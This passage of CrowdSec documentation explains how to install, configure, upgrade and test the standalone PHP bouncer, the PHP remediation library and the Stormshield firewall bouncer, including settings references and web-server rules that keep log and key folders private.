"Direct link to Preparation") #### Install composer[โ€‹](#install-composer "Direct link to Install composer") Please follow [this documentation](https://getcomposer.org/download/) to install composer. #### Install GIT[โ€‹](#install-git "Direct link to Install GIT") Please follow [this documentation](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git) to install GIT. #### Install CrowdSec[โ€‹](#install-crowdsec "Direct link to Install CrowdSec") To be able to use this component, the first step is to install [CrowdSec v1](https://doc.crowdsec.net/docs/getting_started/install_crowdsec/). CrowdSec is only in charge of the "detection", and won't block anything on its own. You need to deploy a bouncer to "apply" decisions. Please note that first and foremost a CrowdSec agent must be installed on a server that is accessible by this component. ### Server and component setup[โ€‹](#server-and-component-setup "Direct link to Server and component setup") Once you set up your server as below, every browser access to a PHP script will be remediated by the standalone component. You will have to : * retrieve sources of the remediation in some `/path/to/the/crowdsec-standalone-bouncer` folder * give the correct permission for the folder that contains the remediation * copy the `scripts/settings.php.dist` file to a `scripts/settings.php` file and edit it. * set an `auto_prepend_file` directive in your PHP setup. * Optionally, if you want to use the standalone component in stream mode, you will have to set a cron task to refresh cache periodically. #### Component sources copy[โ€‹](#component-sources-copy "Direct link to Component sources copy") * Create a folder that will contain the project sources: SHCOPY ``` sudo mkdir -p /var/www/crowdsec-standalone-bouncer ``` We use here `/var/www/crowdsec-standalone-bouncer` but you can choose the path that suits your needs. * Change permission to allow composer to be run in this folder. As you should run composer with your user, this can be done with: SHCOPY ``` sudo chown -R $(whoami):$(whoami) /var/www/crowdsec-standalone-bouncer ``` * Retrieve the last version of the component: SHCOPY ``` composer create-project crowdsec/standalone-bouncer /var/www/crowdsec-standalone-bouncer --keep-vcs ``` Note that we have to keep the vcs data as we will use it to update the component when a new version is available. #### Files permission[โ€‹](#files-permission "Direct link to Files permission") The owner of the `/var/www/crowdsec-standalone-bouncer` folder should be your web-server owner (e.g. `www-data`) and the group should have the write permission on this folder. You can achieve it by running commands like: SHCOPY ``` sudo chown -R www-data /var/www/crowdsec-standalone-bouncer sudo chmod g+w /var/www/crowdsec-standalone-bouncer ``` #### Settings file[โ€‹](#settings-file "Direct link to Settings file") Please copy the `scripts/settings.php.dist` file to a `scripts/settings.php` file and fill the necessary settings in it (see [Configurations settings](#configurations) for more details). For a quick start, simply search for `YOUR_BOUNCER_API_KEY` in the `settings.php` file and set the API key. To obtain a API key, you can run the `cscli bouncers add` command: TEXTCOPY ``` sudo cscli bouncers add standalone-bouncer ``` #### `auto_prepend_file` directive[โ€‹](#auto_prepend_file-directive "Direct link to auto_prepend_file-directive") We will now describe how to set an `auto_prepend_file` directive in order to call the `scripts/bounce.php` for each php access. Adding an `auto_prepend_file` directive can be done in different ways: ###### `.ini` file[โ€‹](#ini-file "Direct link to ini-file") You should add this line to a `.ini` file : auto\_prepend\_file = /var/www/crowdsec-standalone-bouncer/scripts/bounce.php ###### Nginx[โ€‹](#nginx "Direct link to Nginx") If you are using Nginx, you should modify your Nginx configuration file by adding a `fastcgi_param` directive. The php block should look like below: TEXTCOPY ``` location ~ \.php$ { ... ... ... fastcgi_param PHP_VALUE "auto_prepend_file=/var/www/crowdsec-standalone-bouncer/scripts/bounce.php"; } ``` ###### Apache[โ€‹](#apache "Direct link to Apache") If you are using Apache, you should add this line to your `.htaccess` file: php\_value auto\_prepend\_file "/var/www/crowdsec-standalone-bouncer/scripts/bounce.php" or modify your `Virtual Host` accordingly: TEXTCOPY ``` ... ... php_value auto_prepend_file "/var/www/crowdsec-standalone-bouncer/scripts/bounce.php" ``` #### Stream mode cron task[โ€‹](#stream-mode-cron-task "Direct link to Stream mode cron task") To use the stream mode, you first have to set the `stream_mode` setting value to `true` in your `script/settings.php` file. Then, you could edit the web server user (e.g. `www-data`) crontab: SHCOPY ``` sudo -u www-data crontab -e ``` and add the following line SHCOPY ``` */15 * * * * /usr/bin/php /var/www/crowdsec-standalone-bouncer/scripts/refresh-cache.php ``` In this example, cache is refreshed every 15 minutes, but you can modify the cron expression depending on your needs. #### Cache pruning cron task[โ€‹](#cache-pruning-cron-task "Direct link to Cache pruning cron task") If you use the PHP file system as cache, you should prune the cache with a cron job: SHCOPY ``` sudo -u www-data crontab -e ``` and add the following line SHCOPY ``` 0 0 * * * /usr/bin/php /var/www/crowdsec-standalone-bouncer/scripts/prune-cache.php ``` In this example, cache is pruned at midnight every day, but you can modify the cron expression depending on your needs. ## Upgrade[โ€‹](#upgrade "Direct link to Upgrade") When a new release of the component is available, you may want to update sources to the last version. ### Before upgrading[โ€‹](#before-upgrading "Direct link to Before upgrading") **Please look at the [CHANGELOG](https://github.com/crowdsecurity/cs-standalone-php-bouncer/blob/main/CHANGELOG.md) before upgrading in order to see the list of changes that could break your application.** To limit the risk of breaking your web application during upgrade, you can perform the following actions to disable bouncing: * Remove the `auto_prepend_file` directive that point to the `bounce.php` file and restart your web server * Disable any scheduled cron task linked to remediation feature Alternatively, but a little more risky, you could disable bouncing by editing the `scripts/settings.php` file and set the value `'bouncing_disabled'` for the `'bouncing_level'` parameter. Once the update is done, you can reactivate the bounce. You could look at the `/var/www/crowdsec-standalone-bouncer/scripts/.logs` to see if all is working as expected. Below are the steps to take to upgrade your current component: ### Retrieve the last tag[โ€‹](#retrieve-the-last-tag "Direct link to Retrieve the last tag") As we kept the vcs data during installation (with the `--keep-vcs` flag), we can use git to get the last tagged sources: SHCOPY ``` cd /var/www/crowdsec-standalone-bouncer git fetch ``` If you get an error message about "detected dubious ownership", you can run SHCOPY ``` git config --global --add safe.directory /var/www/crowdsec-standalone-bouncer ``` You should see a list of tags (`vX.Y.Z` format )that have been published after your initial installation. ### Checkout to last tag and update sources[โ€‹](#checkout-to-last-tag-and-update-sources "Direct link to Checkout to last tag and update sources") Once you have picked up the `vX.Y.Z` tag you want to try, you could switch to it and update composer dependencies: SHCOPY ``` git checkout vX.Y.Z && composer update ``` ## Usage[โ€‹](#usage "Direct link to Usage") ### Features[โ€‹](#features "Direct link to Features") * CrowdSec Local API Support * Handle `ip`, `range` and `country` scoped decisions * `Live mode` or `Stream mode` * Support IpV4 and Ipv6 (Ipv6 range decisions are yet only supported in `Live mode`) * Large PHP matrix compatibility: 7.2, 7.3, 7.4, 8.0, 8.1 and 8.2 * Built-in support for the most known cache systems Redis, Memcached and PhpFiles * Clear, prune and refresh the cache * Cap remediation level (ex: for sensitives websites: ban will be capped to captcha) ### Ban and captcha walls[โ€‹](#ban-and-captcha-walls "Direct link to Ban and captcha walls") When a user is suspected by CrowdSec to be malevolent, the component would either display a captcha to resolve or simply a page notifying that access is denied. If the user is considered as a clean user, he/she will access the page as normal. By default, the ban wall is displayed as below: ![Ban wall](/img/bouncer/standalone-php/screenshots/front-ban.jpg "Ban wall") By default, the captcha wall is displayed as below: ![Captcha wall](/img/bouncer/standalone-php/screenshots/front-captcha.jpg "Captcha wall") Please note that it is possible to customize all the colors of these pages so that they integrate best with your design. On the other hand, all texts are also fully customizable. This will allow you, for example, to present translated pages in your users' language. ### Configurations[โ€‹](#configurations "Direct link to Configurations") Here is the list of available settings that you could define in the `scripts/settings.php` file: #### Component behavior[โ€‹](#component-behavior "Direct link to Component behavior") * `bouncing_level`: Select from `bouncing_disabled`, `normal_bouncing` or `flex_bouncing`. Choose if you want to apply CrowdSec directives (Normal bouncing) or be more permissive (Flex bouncing). With the `Flex mode`, it is impossible to accidentally block access to your site to people who donโ€™t deserve it. This mode makes it possible to never ban an IP but only to offer a captcha, in the worst-case scenario. * `fallback_remediation`: Select from `bypass` (minimum remediation), `captcha` or `ban` (maximum remediation). Default to 'captcha'. Handle unknown remediations as. * `trust_ip_forward_array`: If you use a CDN, a reverse proxy or a load balancer, set an array of IPs. For other IPs, the remediation will not trust the X-Forwarded-For header. * `excluded_uris`: array of URIs that will not be bounced. * `stream_mode`: true to enable stream mode, false to enable the live mode. Default to false. By default, the `live mode` is enabled. The first time a user connects to your website, this mode means that the IP will be checked directly by the CrowdSec API. The rest of your userโ€™s browsing will be even more transparent thanks to the fully customizable cache system. But you can also activate the `stream mode`. This mode allows you to constantly feed the bouncer with the malicious IP list via a background task (CRON), making it to be even faster when checking the IP of your visitors. Besides, if your site has a lot of unique visitors at the same time, this will not influence the traffic to the API of your CrowdSec instance. #### Local API Connection[โ€‹](#local-api-connection "Direct link to Local API Connection") * `auth_type`: Select from `api_key` and `tls`. Choose if you want to use an API-KEY or a TLS (pki) authentification. TLS authentication is only available if you use CrowdSec agent with a version superior to 1.4.0. * `api_key`: Key generated by the cscli (CrowdSec cli) command like `cscli bouncers add standlone-php-bouncer`. Only required if you choose `api_key` as `auth_type`. * `tls_cert_path`: absolute path to the component certificate (e.g. pem file). Only required if you choose `tls` as `auth_type`. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `tls_key_path`: Absolute path to the component key (e.g. pem file). Only required if you choose `tls` as `auth_type`. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `tls_verify_peer`: This option determines whether request handler verifies the authenticity of the peer's certificate. Only required if you choose `tls` as `auth_type`. When negotiating a TLS or SSL connection, the server sends a certificate indicating its identity. If `tls_verify_peer` is set to true, request handler verifies whether the certificate is authentic. This trust is based on a chain of digital signatures, rooted in certification authority (CA) certificates you supply using the `tls_ca_cert_path` setting below. * `tls_ca_cert_path`: Absolute path to the CA used to process peer verification. Only required if you choose `tls` as `auth_type` and `tls_verify_peer` is set to true. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `api_url`: Define the URL to your Local API server, default to `http://localhost:8080`. * `api_timeout`: In seconds. The timeout when calling Local API. Default to 120 sec. If set to a negative value, timeout will be unlimited. * `use_curl`: By default, this lib call the REST Local API using `file_get_contents` method (`allow_url_fopen` is required). You can set `use_curl` to `true` in order to use `cURL` request instead (`ext-curl` is in then required) #### Cache[โ€‹](#cache "Direct link to Cache") * `cache_system`: Select from `phpfs` (PHP file cache), `redis` or `memcached`. * `fs_cache_path`: Will be used only if you choose PHP file cache as `cache_system`. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `redis_dsn`: Will be used only if you choose Redis cache as `cache_system`. * `memcached_dsn`: Will be used only if you choose Memcached as `cache_system`. * `clean_ip_cache_duration`: Set the duration we keep in cache the fact that an IP is clean. In seconds. Defaults to 5. * `bad_ip_cache_duration`: Set the duration we keep in cache the fact that an IP is bad. In seconds. Defaults to 20. * `captcha_cache_duration`: Set the duration we keep in cache the captcha flow variables for an IP. In seconds. Defaults to 86400.. In seconds. Defaults to 20. #### Geolocation[โ€‹](#geolocation "Direct link to Geolocation") * `geolocation`: Settings for geolocation remediation (i.e. country based remediation). * `geolocation[enabled]`: true to enable remediation based on country. Default to false. * `geolocation[type]`: Geolocation system. Only 'maxmind' is available for the moment. Default to `maxmind`. * `geolocation[cache_duration]`: This setting will be used to set the lifetime (in seconds) of a cached country associated to an IP. The purpose is to avoid multiple call to the geolocation system (e.g. maxmind database). Default to 86400. Set 0 to disable caching. * `geolocation[maxmind]`: MaxMind settings. * `geolocation[maxmind][database_type]`: Select from `country` or `city`. Default to `country`. These are the two available MaxMind database types. * `geolocation[maxmind][database_path]`: Absolute path to the MaxMind database (e.g. mmdb file) **Make sure this path is not publicly accessible.** [See security note below](#security-note). #### Captcha and ban wall settings[โ€‹](#captcha-and-ban-wall-settings "Direct link to Captcha and ban wall settings") * `hide_mentions`: true to hide CrowdSec mentions on ban and captcha walls. * `custom_css`: Custom css directives for ban and captcha walls * `color`: Array of settings for ban and captcha walls colors. * `color[text][primary]` * `color[text][secondary]` * `color[text][button]` * `color[text][error_message]` * `color[background][page]` * `color[background][container]` * `color[background][button]` * `color[background][button_hover]` * `text`: Array of settings for ban and captcha walls texts. * `text[captcha_wall][tab_title]` * `text[captcha_wall][title]` * `text[captcha_wall][subtitle]` * `text[captcha_wall][refresh_image_link]` * `text[captcha_wall][captcha_placeholder]` * `text[captcha_wall][send_button]` * `text[captcha_wall][error_message]` * `text[captcha_wall][footer]` * `text[ban_wall][tab_title]` * `text[ban_wall][title]` * `text[ban_wall][subtitle]` * `text[ban_wall][footer]` #### Debug[โ€‹](#debug "Direct link to Debug") * `debug_mode`: `true` to enable verbose debug log. Default to `false`. * `disable_prod_log`: `true` to disable prod log. Default to `false`. * `log_directory_path`: Absolute path to store log files. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `display_errors`: true to stop the process and display errors on browser if any. * `forced_test_ip`: Only for test or debug purpose. Default to empty. If not empty, it will be used instead of the real remote ip. * `forced_test_forwarded_ip`: Only for test or debug purpose. Default to empty. If not empty, it will be used instead of the real forwarded ip. If set to `no_forward`, the x-forwarded-for mechanism will not be used at all. #### Security note[โ€‹](#security-note "Direct link to Security note") Some files should not be publicly accessible because they may contain sensitive data: * Log files * Cache files of the File system cache * TLS authentication files * Geolocation database files If you define publicly accessible folders in the settings, be sure to add rules to deny access to these files. In the following example, we will suppose that you use a folder `crowdsec` with sub-folders `logs`, `cache`, `tls` and `geolocation`. If you are using Nginx, you could use the following snippet to modify your website configuration file: NGINXCOPY ``` server { ... ... ... # Deny all attempts to access some folders of the crowdsec standalone bouncer location ~ /crowdsec/(logs|cache|tls|geolocation) { deny all; } ... ... } ``` If you are using Apache, you could add this kind of directive in a `.htaccess` file: HTACCESSCOPY ``` Redirectmatch 403 crowdsec/logs/ Redirectmatch 403 crowdsec/cache/ Redirectmatch 403 crowdsec/tls/ Redirectmatch 403 crowdsec/geolocation/ ``` **N.B.:** * There is no need to protect the `cache` folder if you are using Redis or Memcached cache systems. * There is no need to protect the `logs` folder if you disable debug and prod logging. * There is no need to protect the `tls` folder if you use API key authentication type. * There is no need to protect the `geolocation` folder if you don't use the geolocation feature. ## Testing & Troubleshooting[โ€‹](#testing--troubleshooting "Direct link to Testing & Troubleshooting") ### Logs[โ€‹](#logs "Direct link to Logs") Enable `debug_mode` in the (`scripts/settings.php`) file to enable debug logging. By default, logs will be located in the scripts path, i.e. `/var/www/crowdsec-standalone-bouncer/scripts/.logs`. ### Testing ban remediation[โ€‹](#testing-ban-remediation "Direct link to Testing ban remediation") To test the ban remediation : * identify or create simple php file (even a `` would do) * add a decision on your crowdsec agent (`sudo cscli decisions add -i `) * try to access the php file, and you should see the HTML forbidden ban page ### Testing the captcha feature[โ€‹](#testing-the-captcha-feature "Direct link to Testing the captcha feature") To test the captcha remediation : * identify or create simple php file (even a `` would do) * add a decision on your crowdsec agent (`cscli decisions add -i -t captcha`) * try to access the php file, and you should see the captcha page ### Testing geolocation remediation[โ€‹](#testing-geolocation-remediation "Direct link to Testing geolocation remediation") The remediation is expecting decisions with a scope of `Country`, and 2-letters code value. To test the geolocation remediation : * identify or create simple php file (even a `` would do) * add a decision on your crowdsec agent (`cscli decisions add --scope Country --value FR -t captcha`) * try to access the php file, and you should see the captcha page ## Developer guide[โ€‹](#developer-guide "Direct link to Developer guide") See [Developer guide](https://github.com/crowdsecurity/cs-standalone-php-bouncer/blob/main/doc/DEVELOPER.md) --- # PHP Remediation Library ![CrowdSec](/img/crowdsec_bouncer_php.png "CrowdSec") ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeLive & Stream MetricsSupported MTLSSupported PrometheusUnsupported ## Overview[โ€‹](#overview "Direct link to Overview") This library allows you to create CrowdSec bouncers for PHP applications or frameworks like e-commerce, blog or other exposed applications. ## Installation[โ€‹](#installation "Direct link to Installation") ### Requirements[โ€‹](#requirements "Direct link to Requirements") * PHP >= 7.2.5 * required PHP extensions: `ext-curl`, `ext-gd`, `ext-json`, `ext-mbstring` ### Installation[โ€‹](#installation-1 "Direct link to Installation") Use `Composer` by simply adding `crowdsec/bouncer` as a dependency: SHCOPY ``` composer require crowdsec/bouncer ``` ## Usage[โ€‹](#usage "Direct link to Usage") ### Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") To be able to use a Remediation Component based on this library, the first step is to install [CrowdSec v1](https://doc.crowdsec.net/docs/getting_started/install_crowdsec/). CrowdSec is only in charge of the "detection", and won't block anything on its own. You need to deploy a bouncer to "apply" decisions. Please note that first and foremost a CrowdSec agent must be installed on a server that is accessible by this library. ### Features[โ€‹](#features "Direct link to Features") * CrowdSec Local API support * Handle `ip`, `range` and `country` scoped decisions * `Live mode` or `Stream mode` * Support IpV4 and Ipv6 (Ipv6 range decisions are yet only supported in `Live mode`) * Large PHP matrix compatibility: 7.2, 7.3, 7.4, 8.0, 8.1 and 8.2 * Built-in support for the most known cache systems Redis, Memcached and PhpFiles * Clear, prune and refresh the cache * Cap remediation level (ex: for sensitives websites: ban will be capped to captcha) ### Ban and captcha walls[โ€‹](#ban-and-captcha-walls "Direct link to Ban and captcha walls") When a user is suspected by CrowdSec to be malevolent, a component would either display a captcha to resolve or simply a page notifying that access is denied. If the user is considered as a clean user, he/she will access the page as normal. A ban wall could look like: ![Ban wall](/img/bouncer/php-lib/screenshots/front-ban.jpg "Ban wall") A captcha wall could look like: ![Ban wall](/img/bouncer/php-lib/screenshots/front-captcha.jpg "Captcha wall") Please note that it is possible to customize all the colors of these pages so that they integrate best with your design. On the other hand, all texts are also fully customizable. This will allow you, for example, to present translated pages in your users' language. ## Create your own component[โ€‹](#create-your-own-component "Direct link to Create your own component") ### Implementation[โ€‹](#implementation "Direct link to Implementation") You can use this library to develop your own PHP application component. Any custom component should extend the [`AbstractBouncer`](https://github.com/crowdsecurity/php-cs-bouncer/blob/main/src/AbstractBouncer.php) class. PHPCOPY ``` namespace MyNameSpace; use CrowdSecBouncer\AbstractBouncer; class MyCustomBouncer extends AbstractBouncer { } ``` Then, you will have to implement all necessary methods : PHPCOPY ``` namespace MyNameSpace; use CrowdSecBouncer\AbstractBouncer; class MyCustomBouncer extends AbstractBouncer { /** * Get current http method */ public function getHttpMethod(): string { // Your implementation } /** * Get value of an HTTP request header. Ex: "X-Forwarded-For" */ public function getHttpRequestHeader(string $name): ?string { // Your implementation } /** * Get the value of a posted field. */ public function getPostedVariable(string $name): ?string { // Your implementation } /** * Get the current IP, even if it's the IP of a proxy */ public function getRemoteIp(): string { // Your implementation } /** * Get current request uri */ public function getRequestUri(): string { // Your implementation } } ``` Once you have implemented these methods, you could retrieve all required configurations to instantiate your component and then call the `run` method to apply a bounce for the current detected IP. Please [see below](#configurations) for the list of available configurations. In order to instantiate the component, you will have to create at least a `CrowdSec\RemediationEngine\LapiRemediation` object too. PHPCOPY ``` use MyNameSpace\MyCustomBouncer; use CrowdSec\RemediationEngine\LapiRemediation; use CrowdSec\LapiClient\Bouncer as BouncerClient; use CrowdSec\RemediationEngine\CacheStorage\PhpFiles; $configs = [...]; $client = new BouncerClient($configs);// @see AbstractBouncer::handleClient method for a basic client creation $cacheStorage = new PhpFiles($configs);// @see AbstractBouncer::handleCache method for a basic cache storage creation $remediationEngine = new LapiRemediation($configs, $client, $cacheStorage); $bouncer = new MyCustomBouncer($configs, $remediationEngine); $bouncer->run(); ``` ### Test your component[โ€‹](#test-your-component "Direct link to Test your component") To test your component, you could add decision to ban your own IP for 5 minutes for example: SHCOPY ``` cscli decisions add --ip --duration 5m --type ban ``` You can also test a captcha: SHCOPY ``` cscli decisions delete --all # be careful with this command! cscli decisions add --ip --duration 15m --type captcha ``` To go further and learn how to include this library in your project, you should follow the [`DEVELOPER GUIDE`](https://github.com/crowdsecurity/php-cs-bouncer/blob/main/docs/DEVELOPER.md). ## Configurations[โ€‹](#configurations "Direct link to Configurations") The first parameter of the `AbstractBouncer` class constructor method is an array of settings. Below is the list of available settings: ### Component behavior[โ€‹](#component-behavior "Direct link to Component behavior") * `bouncing_level`: Select from `bouncing_disabled`, `normal_bouncing` or `flex_bouncing`. Choose if you want to apply CrowdSec directives (Normal bouncing) or be more permissive (Flex bouncing). With the `Flex mode`, it is impossible to accidentally block access to your site to people who donโ€™t deserve it. This mode makes it possible to never ban an IP but only to offer a captcha, in the worst-case scenario. * `fallback_remediation`: Select from `bypass` (minimum remediation), `captcha` or `ban` (maximum remediation). Default to 'captcha'. Handle unknown remediations as. * `trust_ip_forward_array`: If you use a CDN, a reverse proxy or a load balancer, set an array of comparable IPs arrays: (example: `[['001.002.003.004', '001.002.003.004'], ['005.006.007.008', '005.006.007.008']]` for CDNs with IPs `1.2.3.4` and `5.6.7.8`). For other IPs, the bouncer will not trust the X-Forwarded-For header. * `excluded_uris`: array of URIs that will not be bounced. * `stream_mode`: true to enable stream mode, false to enable the live mode. Default to false. By default, the `live mode` is enabled. The first time a stranger connects to your website, this mode means that the IP will be checked directly by the CrowdSec API. The rest of your userโ€™s browsing will be even more transparent thanks to the fully customizable cache system. But you can also activate the `stream mode`. This mode allows you to constantly feed the bouncer with the malicious IP list via a background task (CRON), making it to be even faster when checking the IP of your visitors. Besides, if your site has a lot of unique visitors at the same time, this will not influence the traffic to the API of your CrowdSec instance. ### Local API Connection[โ€‹](#local-api-connection "Direct link to Local API Connection") * `auth_type`: Select from `api_key` and `tls`. Choose if you want to use an API-KEY or a TLS (pki) authentification. TLS authentication is only available if you use CrowdSec agent with a version superior to 1.4.0. * `api_key`: Key generated by the cscli (CrowdSec cli) command like `cscli bouncers add bouncer-php-library`. Only required if you choose `api_key` as `auth_type`. * `tls_cert_path`: absolute path to the component certificate (e.g. pem file). Only required if you choose `tls` as `auth_type`. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `tls_key_path`: Absolute path to the component key (e.g. pem file). Only required if you choose `tls` as `auth_type`. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `tls_verify_peer`: This option determines whether request handler verifies the authenticity of the peer's certificate. Only required if you choose `tls` as `auth_type`. When negotiating a TLS or SSL connection, the server sends a certificate indicating its identity. If `tls_verify_peer` is set to true, request handler verifies whether the certificate is authentic. This trust is based on a chain of digital signatures, rooted in certification authority (CA) certificates you supply using the `tls_ca_cert_path` setting below. * `tls_ca_cert_path`: Absolute path to the CA used to process peer verification. Only required if you choose `tls` as `auth_type` and `tls_verify_peer` is set to true. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `api_url`: Define the URL to your Local API server, default to `http://localhost:8080`. * `api_timeout`: In seconds. The timeout when calling Local API. Default to 120 sec. If set to a negative value, timeout will be unlimited. ### Cache[โ€‹](#cache "Direct link to Cache") * `fs_cache_path`: Will be used only if you choose PHP file cache as cache storage. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `redis_dsn`: Will be used only if you choose Redis cache as cache storage. * `memcached_dsn`: Will be used only if you choose Memcached as cache storage. * `clean_ip_cache_duration`: Set the duration we keep in cache the fact that an IP is clean. In seconds. Defaults to 5. * `bad_ip_cache_duration`: Set the duration we keep in cache the fact that an IP is bad. In seconds. Defaults to 20. * `captcha_cache_duration`: Set the duration we keep in cache the captcha flow variables for an IP. In seconds. Defaults to 86400.. In seconds. Defaults to 20. ### Geolocation[โ€‹](#geolocation "Direct link to Geolocation") * `geolocation`: Settings for geolocation remediation (i.e. country based remediation). * `geolocation[enabled]`: true to enable remediation based on country. Default to false. * `geolocation[type]`: Geolocation system. Only 'maxmind' is available for the moment. Default to `maxmind`. * `geolocation[cache_duration]`: This setting will be used to set the lifetime (in seconds) of a cached country associated to an IP. The purpose is to avoid multiple call to the geolocation system (e.g. maxmind database). Default to 86400. Set 0 to disable caching. * `geolocation[maxmind]`: MaxMind settings. * `geolocation[maxmind][database_type]`: Select from `country` or `city`. Default to `country`. These are the two available MaxMind database types. * `geolocation[maxmind][database_path]`: Absolute path to the MaxMind database (e.g. mmdb file) **Make sure this path is not publicly accessible.** [See security note below](#security-note). ### Captcha and ban wall settings[โ€‹](#captcha-and-ban-wall-settings "Direct link to Captcha and ban wall settings") * `hide_mentions`: true to hide CrowdSec mentions on ban and captcha walls. * `custom_css`: Custom css directives for ban and captcha walls * `color`: Array of settings for ban and captcha walls colors. * `color[text][primary]` * `color[text][secondary]` * `color[text][button]` * `color[text][error_message]` * `color[background][page]` * `color[background][container]` * `color[background][button]` * `color[background][button_hover]` * `text`: Array of settings for ban and captcha walls texts. * `text[captcha_wall][tab_title]` * `text[captcha_wall][title]` * `text[captcha_wall][subtitle]` * `text[captcha_wall][refresh_image_link]` * `text[captcha_wall][captcha_placeholder]` * `text[captcha_wall][send_button]` * `text[captcha_wall][error_message]` * `text[captcha_wall][footer]` * `text[ban_wall][tab_title]` * `text[ban_wall][title]` * `text[ban_wall][subtitle]` * `text[ban_wall][footer]` ### Debug[โ€‹](#debug "Direct link to Debug") * `debug_mode`: `true` to enable verbose debug log. Default to `false`. * `disable_prod_log`: `true` to disable prod log. Default to `false`. * `log_directory_path`: Absolute path to store log files. **Make sure this path is not publicly accessible.** [See security note below](#security-note). * `display_errors`: true to stop the process and display errors on browser if any. * `forced_test_ip`: Only for test or debug purpose. Default to empty. If not empty, it will be used instead of the real remote ip. * `forced_test_forwarded_ip`: Only for test or debug purpose. Default to empty. If not empty, it will be used instead of the real forwarded ip. If set to `no_forward`, the x-forwarded-for mechanism will not be used at all. ### Security note[โ€‹](#security-note "Direct link to Security note") Some files should not be publicly accessible because they may contain sensitive data: * Log files * Cache files of the File system cache * TLS authentication files * Geolocation database files If you define publicly accessible folders in the settings, be sure to add rules to deny access to these files. In the following example, we will suppose that you use a folder `crowdsec` with sub-folders `logs`, `cache`, `tls` and `geolocation`. If you are using Nginx, you could use the following snippet to modify your website configuration file: NGINXCOPY ``` server { ... ... ... # Deny all attempts to access some folders of the crowdsec remediation lib location ~ /crowdsec/(logs|cache|tls|geolocation) { deny all; } ... ... } ``` If you are using Apache, you could add this kind of directive in a `.htaccess` file: HTACCESSCOPY ``` Redirectmatch 403 crowdsec/logs/ Redirectmatch 403 crowdsec/cache/ Redirectmatch 403 crowdsec/tls/ Redirectmatch 403 crowdsec/geolocation/ ``` **N.B.:** * There is no need to protect the `cache` folder if you are using Redis or Memcached cache systems. * There is no need to protect the `logs` folder if you disable debug and prod logging. * There is no need to protect the `tls` folder if you use remediation API key authentication type. * There is no need to protect the `geolocation` folder if you don't use the geolocation feature. ## Other ready to use PHP bouncers[โ€‹](#other-ready-to-use-php-bouncers "Direct link to Other ready to use PHP bouncers") To have a more concrete idea on how to develop a bouncer from this library, you may look at the following bouncers : * [CrowdSec Bouncer extension for Magento 2](https://github.com/crowdsecurity/cs-magento-bouncer) * [CrowdSec Bouncer plugin for WordPress](https://github.com/crowdsecurity/cs-wordpress-bouncer) * [CrowdSec Standalone Bouncer](https://github.com/crowdsecurity/cs-standalone-php-bouncer) ## Technical notes[โ€‹](#technical-notes "Direct link to Technical notes") See [Technical notes](https://github.com/crowdsecurity/php-cs-bouncer/blob/main/docs/TECHNICAL_NOTES.md) ## Developer guide[โ€‹](#developer-guide "Direct link to Developer guide") See [Developer guide](https://github.com/crowdsecurity/php-cs-bouncer/blob/main/docs/DEVELOPER.md) --- # Stormshield ![CrowdSec](/img/bouncer/stormshield/logo.png "CrowdSec") ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ## Overview[โ€‹](#overview "Direct link to Overview") The Stormshield Remediation syncs IP bans from Crowdsec with Stormshield appliances. ## Installation[โ€‹](#installation "Direct link to Installation") ### Using pip[โ€‹](#using-pip "Direct link to Using pip") SHCOPY ``` pip install crowdsec-stormshield-bouncer ``` ### Using docker[โ€‹](#using-docker "Direct link to Using docker") SHCOPY ``` docker pull crowdsecurity/stormshield-bouncer ``` See docker specific documentation [here](https://registry.hub.docker.com/r/crowdsecurity/stormshield-bouncer). ### Setup[โ€‹](#setup "Direct link to Setup") Run the following command to generate the base configuration file. This will generate a configuration file named `cfg.yaml` in the current directory. SHCOPY ``` crowdsec-stormshield-bouncer -g > cfg.yaml ``` You need to edit this file to configure the Remediation Component. Make sure you give the correct LAPI key and URL. The stormshield configuration should be updated with the correct values. The container will use SSH to connect to the firewall and the API to update the blacklist. Make sure the firewall is configured to allow SSH and API access from the machine running the container. See how to enable ssh access on the firewall [here](https://documentation.stormshield.eu/SNS/v4/en/Content/Basic_Command_Line_Interface_configurations/Enable_ssh_access_with_password.htm). Usually the username and password is the same as the web interface. You can generate a LAPI key using the following command on the machine with CrowdSec installed. SHCOPY ``` cscli bouncers add crowdsec-stormshield-bouncer ``` Please refer to [configuration reference section](#configuration-reference) for more details on the configuration options. ### Running the Remediation Component[โ€‹](#running-the-remediation-component "Direct link to Running the Remediation Component") After configuring the Remediation Component, you can run it using the following command: SHCOPY ``` crowdsec-stormshield-bouncer -c cfg.yaml ``` ## How it Works[โ€‹](#how-it-works "Direct link to How it Works") The Remediation Component will poll the CrowdSec LAPI every `update_frequency` interval. It will then fetch the list of IP bans and sync them with the Stormshield's appliance's [black list](https://documentation.stormshield.eu/SNS/v4/en/Content/User_Configuration_Manual_SNS_v4/Monitoring/Black_lists_Monitoring.htm) Since CrowdSec provides huge number of banned IPs, using the Stormshield API solely is not possible. The API only allows adding one IP at a time to blacklist directly. Which is extremely slow. To overcome this limitation, the Remediation Component will use SSH to connect to the firewall appliance to: * Create 2 groups 1.Crowdsec and 2.CrowdsecDeleteGroup * Create objects for all the new banned IPs and expired bans. * Add all the banned IPs to the CrowdSec group. Add all the expired bans to the CrowdsecDeleteGroup. This is done by modifying the `/data/Main/ConfigFiles/objectgroup` and `/data/Main/ConfigFiles/object` files Then the Remediation Component will use the Stormshield API to: * Add the CrowdSec group to the blacklist. * Remove the CrowdsecDeleteGroup from the blacklist. Finally Remediation Component empties the CrowdsecDeleteGroup using ssh. This process is repeated every `update_frequency` interval. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") YAMLCOPY ``` crowdsec: lapi_key: lapi_url: "http://localhost:8080/" update_frequency: 30s include_scenarios_containing: [] exclude_scenarios_containing: [] 